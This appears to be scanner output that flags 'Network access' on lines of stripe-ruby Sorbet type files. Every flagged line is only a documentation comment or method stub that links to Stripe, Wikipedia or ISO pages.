# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 556
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 557
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 558
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 570
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 571
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 572
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 582
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 583
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 584
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 627
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 628
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 629
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 639
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 640
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 641
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 653
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 654
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 655
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 665
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 666
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 667
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 848
sig { returns(T.nilable(String)) } def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 849
def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. sig { returns(T.nilable(String)) } - Network accessline 850
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 851
sig { returns(T.nilable(String)) } def brand_product; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters - Network accessline 852
def brand_product; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In so - Network accessline 853
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1008
sig { returns(T.nilable(String)) } def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and fir - Network accessline 1009
def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases - Network accessline 1010
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1704
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1705
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 1706
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 1716
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1717
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 1718
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 1774
# Indicates that you intend to make future payments with this ConfirmationToken's payment method. # # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the Paymen - Network accessline 1775
# # The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the - Network accessline 1776
# The presence of this property will [attach the payment method](https://docs.stripe.com/payments/save-during-payment) to the PaymentIntent's Customer, if present, after the PaymentIntent is confirmed and any required actions from the user
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/connect_collection_transfer.rbi
- Network accessline 8
sig { returns(Integer) } def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 9
def amount; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 10
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/country_spec.rbi
- Network accessline 9
# # You can also view the information from this API call as [an online # guide](https://docs.stripe.com/docs/connect/required-verification-information). - Network accessline 10
# You can also view the information from this API call as [an online # guide](https://docs.stripe.com/docs/connect/required-verification-information). class CountrySpec < APIResource - Network accessline 11
# guide](https://docs.stripe.com/docs/connect/required-verification-information). - Network accessline 68
sig { returns(T::Array[String]) } def supported_payment_currencies; end # Payment methods available in the specified country. You may need to enable some payment methods (e.g., [ACH](https://stripe.com/docs/ach)) on your account bef - Network accessline 69
def supported_payment_currencies; end # Payment methods available in the specified country. You may need to enable some payment methods (e.g., [ACH](https://stripe.com/docs/ach)) on your account before they appear in this list. The `str - Network accessline 70
# Payment methods available in the specified country. You may need to enable some payment methods (e.g., [ACH](https://stripe.com/docs/ach)) on your account before they appear in this list. The `stripe` payment method refers to [charging th
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/coupon.rbi
- Network accessline 5
module Stripe # A coupon contains information about a percent-off or amount-off discount you # might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.st - Network accessline 6
# A coupon contains information about a percent-off or amount-off discount you # might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.stripe.com#invoice - Network accessline 7
# might want to apply to a customer. Coupons may be applied to [subscriptions](https://api.stripe.com#subscriptions), [invoices](https://api.stripe.com#invoices), - Network accessline 8
# [checkout sessions](https://docs.stripe.com/api/checkout/sessions), [quotes](https://api.stripe.com#quotes), and more. Coupons do not work with conventional one-off [charges](https://api.stripe.com#create_charge) or [payment intents](http - Network accessline 39
sig { returns(Integer) } def created; end # If `amount_off` has been set, the three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the amount to take off. - Network accessline 40
def created; end # If `amount_off` has been set, the three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the amount to take off. sig { returns(T.nilable(String)) } - Network accessline 41
# If `amount_off` has been set, the three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the amount to take off. - Network accessline 42
sig { returns(T.nilable(String)) } def currency; end # Coupons defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currenc - Network accessline 43
def currency; end # Coupons defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 44
# Coupons defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 60
sig { returns(T.nilable(Integer)) } def max_redemptions; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object i - Network accessline 61
def max_redemptions; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns - Network accessline 62
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 84
sig { returns(T.nilable(T::Boolean)) } def deleted; end # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API i - Network accessline 85
def deleted; end # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly. - Network accessline 86
# You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly. - Network accessline 94
# You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome - Network accessline 100
# You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/credit_note.rbi
- Network accessline 6
# Issue a credit note to adjust an invoice's amount after the invoice is finalized. # # Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes) - Network accessline 7
# # Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes) class CreditNote < APIResource - Network accessline 8
# Related guide: [Credit notes](https://docs.stripe.com/billing/invoices/credit-notes) - Network accessline 167
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 168
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 169
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 203
sig { returns(T.nilable(String)) } def memo; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structur - Network accessline 204
def memo; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nilable( - Network accessline 205
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 236
sig { returns(T.nilable(ShippingCost)) } def shipping_cost; end # Status of this credit note, one of `issued` or `void`. Learn more about [voiding credit notes](https://docs.stripe.com/billing/invoices/credit-notes#voiding). - Network accessline 237
def shipping_cost; end # Status of this credit note, one of `issued` or `void`. Learn more about [voiding credit notes](https://docs.stripe.com/billing/invoices/credit-notes#voiding). sig { returns(String) } - Network accessline 238
# Status of this credit note, one of `issued` or `void`. Learn more about [voiding credit notes](https://docs.stripe.com/billing/invoices/credit-notes#voiding). - Network accessline 304
# Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding). - Network accessline 310
# Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/customer.rbi
- Network accessline 4
# typed: true module Stripe # This object represents a customer of your business. Use it to [create recurring charges](https://docs.stripe.com/invoicing/customer), [save payment](https://docs.stripe.com/payments/save-during-payment) and c - Network accessline 5
module Stripe # This object represents a customer of your business. Use it to [create recurring charges](https://docs.stripe.com/invoicing/customer), [save payment](https://docs.stripe.com/payments/save-during-payment) and contact informa - Network accessline 6
# This object represents a customer of your business. Use it to [create recurring charges](https://docs.stripe.com/invoicing/customer), [save payment](https://docs.stripe.com/payments/save-during-payment) and contact information, - Network accessline 11
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 12
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 13
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 23
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 24
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 25
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 86
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 87
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 88
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 98
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 99
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 100
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 170
sig { returns(T.nilable(Address)) } def address; end # The current balance, if any, that's stored on the customer in their default currency. If negative, the customer has credit to apply to their next invoice. If positive, the custo - Network accessline 171
def address; end # The current balance, if any, that's stored on the customer in their default currency. If negative, the customer has credit to apply to their next invoice. If positive, the customer has an amount owed that's added to t - Network accessline 172
# The current balance, if any, that's stored on the customer in their default currency. If negative, the customer has credit to apply to their next invoice. If positive, the customer has an amount owed that's added to their next invoice. Th - Network accessline 182
sig { returns(Integer) } def created; end # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) the customer can be charged in for recurring billing purposes. - Network accessline 183
def created; end # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) the customer can be charged in for recurring billing purposes. sig { returns(T.nilable(String)) } - Network accessline 184
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) the customer can be charged in for recurring billing purposes. - Network accessline 190
# ID of the default payment source for the customer. # # If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_obje - Network accessline 191
# # If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_object-invoice_settings-default_payment_method) field instead - Network accessline 192
# If you use payment methods created through the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/object#customer_object-invoice_settings-default_payment_method) field instead. - Network accessline 197
# Tracks the most recent state change on any invoice belonging to the customer. Paying an invoice or marking it uncollectible via the API will set this field to false. An automatic payment failure or passing the `invoice.due_date` will set - Network accessline 198
# # If an invoice becomes uncollectible by [dunning](https://docs.stripe.com/billing/automatic-collection), `delinquent` doesn't reset to `false`. # - Network accessline 199
# If an invoice becomes uncollectible by [dunning](https://docs.stripe.com/billing/automatic-collection), `delinquent` doesn't reset to `false`. - Network accessline 229
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 230
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 231
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/customer_balance_transaction.rbi
- Network accessline 4
# typed: true module Stripe # Each customer has a [Balance](https://docs.stripe.com/api/customers/object#customer_object-balance) value, - Network accessline 5
module Stripe # Each customer has a [Balance](https://docs.stripe.com/api/customers/object#customer_object-balance) value, # which denotes a debit or credit that's automatically applied to their next invoice upon finalization. - Network accessline 6
# Each customer has a [Balance](https://docs.stripe.com/api/customers/object#customer_object-balance) value, - Network accessline 7
# which denotes a debit or credit that's automatically applied to their next invoice upon finalization. # You may modify the value directly by using the [update customer API](https://docs.stripe.com/api/customers/update), # or by creati - Network accessline 8
# You may modify the value directly by using the [update customer API](https://docs.stripe.com/api/customers/update), - Network accessline 9
# or by creating a Customer Balance Transaction, which increments or decrements the customer's `balance` by the specified `amount`. # # Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance) - Network accessline 10
# # Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance) class CustomerBalanceTransaction < APIResource - Network accessline 11
# Related guide: [Customer balance](https://docs.stripe.com/billing/customer/balance) - Network accessline 23
sig { returns(T.nilable(T.any(String, ::Stripe::CreditNote))) } def credit_note; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.c - Network accessline 24
def credit_note; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 25
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 47
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 48
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 49
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 53
sig { returns(String) } def object; end # Transaction type: `adjustment`, `applied_to_invoice`, `credit_note`, `initial`, `invoice_overpaid`, `invoice_too_large`, `invoice_too_small`, `unspent_receiver_credit`, `unapplied_from_invoi - Network accessline 54
def object; end # Transaction type: `adjustment`, `applied_to_invoice`, `credit_note`, `initial`, `invoice_overpaid`, `invoice_too_large`, `invoice_too_small`, `unspent_receiver_credit`, `unapplied_from_invoice`, `checkout_session_subsc - Network accessline 55
# Transaction type: `adjustment`, `applied_to_invoice`, `credit_note`, `initial`, `invoice_overpaid`, `invoice_too_large`, `invoice_too_small`, `unspent_receiver_credit`, `unapplied_from_invoice`, `checkout_session_subscription_payment`, or
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/customer_cash_balance_transaction.rbi
- Network accessline 10
class CustomerCashBalanceTransaction < APIResource class AdjustedForOverdraft < ::Stripe::StripeObject # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds taken out of you - Network accessline 11
class AdjustedForOverdraft < ::Stripe::StripeObject # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds taken out of your Stripe balance. sig { returns(T.any(String, ::S - Network accessline 12
# The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds taken out of your Stripe balance. - Network accessline 13
sig { returns(T.any(String, ::Stripe::BalanceTransaction)) } def balance_transaction; end # The [Cash Balance Transaction](https://docs.stripe.com/api/cash_balance_transactions/object) that brought the customer balance negative, - Network accessline 14
def balance_transaction; end # The [Cash Balance Transaction](https://docs.stripe.com/api/cash_balance_transactions/object) that brought the customer balance negative, triggering the clawback of funds. sig { returns(T.any(String - Network accessline 15
# The [Cash Balance Transaction](https://docs.stripe.com/api/cash_balance_transactions/object) that brought the customer balance negative, triggering the clawback of funds. - Network accessline 24
end class AppliedToPayment < ::Stripe::StripeObject # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were applied to. - Network accessline 25
class AppliedToPayment < ::Stripe::StripeObject # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were applied to. sig { returns(T.any(String, ::Stripe::PaymentIntent)) } - Network accessline 26
# The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were applied to. - Network accessline 142
end class RefundedFromPayment < ::Stripe::StripeObject # The [Refund](https://docs.stripe.com/api/refunds/object) that moved these funds into the customer's cash balance. - Network accessline 143
class RefundedFromPayment < ::Stripe::StripeObject # The [Refund](https://docs.stripe.com/api/refunds/object) that moved these funds into the customer's cash balance. sig { returns(T.any(String, ::Stripe::Refund)) } - Network accessline 144
# The [Refund](https://docs.stripe.com/api/refunds/object) that moved these funds into the customer's cash balance. - Network accessline 153
end class TransferredToBalance < ::Stripe::StripeObject # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds transferred to your Stripe balance. - Network accessline 154
class TransferredToBalance < ::Stripe::StripeObject # The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds transferred to your Stripe balance. sig { returns(T.any(String, : - Network accessline 155
# The [Balance Transaction](https://docs.stripe.com/api/balance_transactions/object) that corresponds to funds transferred to your Stripe balance. - Network accessline 164
end class UnappliedFromPayment < ::Stripe::StripeObject # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were unapplied from. - Network accessline 165
class UnappliedFromPayment < ::Stripe::StripeObject # The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were unapplied from. sig { returns(T.any(String, ::Stripe::PaymentIntent)) } - Network accessline 166
# The [Payment Intent](https://docs.stripe.com/api/payment_intents/object) that funds were unapplied from. - Network accessline 183
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 184
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 185
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 192
sig { returns(T.nilable(String)) } def customer_account; end # The total available cash balance for the specified currency after this transaction was applied. Represented in the [smallest currency unit](https://docs.stripe.com/curre - Network accessline 193
def customer_account; end # The total available cash balance for the specified currency after this transaction was applied. Represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns( - Network accessline 194
# The total available cash balance for the specified currency after this transaction was applied. Represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 204
sig { returns(T::Boolean) } def livemode; end # The amount by which the cash balance changed, represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). A positive value represents funds being adde - Network accessline 205
def livemode; end # The amount by which the cash balance changed, represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). A positive value represents funds being added to the cash balance, a negativ - Network accessline 206
# The amount by which the cash balance changed, represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). A positive value represents funds being added to the cash balance, a negative value represents fun - Network accessline 216
sig { returns(T.nilable(TransferredToBalance)) } def transferred_to_balance; end # The type of the cash balance transaction. New types may be added in future. See [Customer Balance](https://docs.stripe.com/payments/customer-balance# - Network accessline 217
def transferred_to_balance; end # The type of the cash balance transaction. New types may be added in future. See [Customer Balance](https://docs.stripe.com/payments/customer-balance#types) to learn more about these types. sig { ret - Network accessline 218
# The type of the cash balance transaction. New types may be added in future. See [Customer Balance](https://docs.stripe.com/payments/customer-balance#types) to learn more about these types.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/customer_session.rbi
- Network accessline 7
# control over a Customer. # # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods), - Network accessline 8
# # Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods), # [Customer Session with the Pricing Table](https://docs.stripe. - Network accessline 9
# Related guides: [Customer Session with the Payment Element](https://docs.stripe.com/payments/accept-a-payment-deferred?platform=web&type=payment#save-payment-methods), - Network accessline 10
# [Customer Session with the Pricing Table](https://docs.stripe.com/payments/checkout/pricing-table#customer-session), - Network accessline 11
# [Customer Session with the Buy Button](https://docs.stripe.com/payment-links/buy-button#pass-an-existing-customer). - Network accessline 25
class CustomerSheet < ::Stripe::StripeObject class Features < ::Stripe::StripeObject # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that con - Network accessline 26
class Features < ::Stripe::StripeObject # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet - Network accessline 27
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet displays by filtering to only show payment methods - Network accessline 32
# Controls whether the customer sheet displays the option to remove a saved payment method." # # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing th - Network accessline 33
# # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa - Network accessline 34
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 57
class MobilePaymentElement < ::Stripe::StripeObject class Features < ::Stripe::StripeObject # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values t - Network accessline 58
class Features < ::Stripe::StripeObject # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment - Network accessline 59
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment element displays by filtering to only show payment - Network accessline 67
# Controls whether the mobile payment element displays the option to remove a saved payment method." # # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Rem - Network accessline 68
# # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#pa - Network accessline 69
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 72
# Controls whether the mobile payment element displays a checkbox offering to save a new payment method. # # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#paymen - Network accessline 73
# # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentI - Network accessline 74
# If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the - Network accessline 102
class PaymentElement < ::Stripe::StripeObject class Features < ::Stripe::StripeObject # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that co - Network accessline 103
class Features < ::Stripe::StripeObject # A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element - Network accessline 104
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element displays by filtering to only show payment method - Network accessline 115
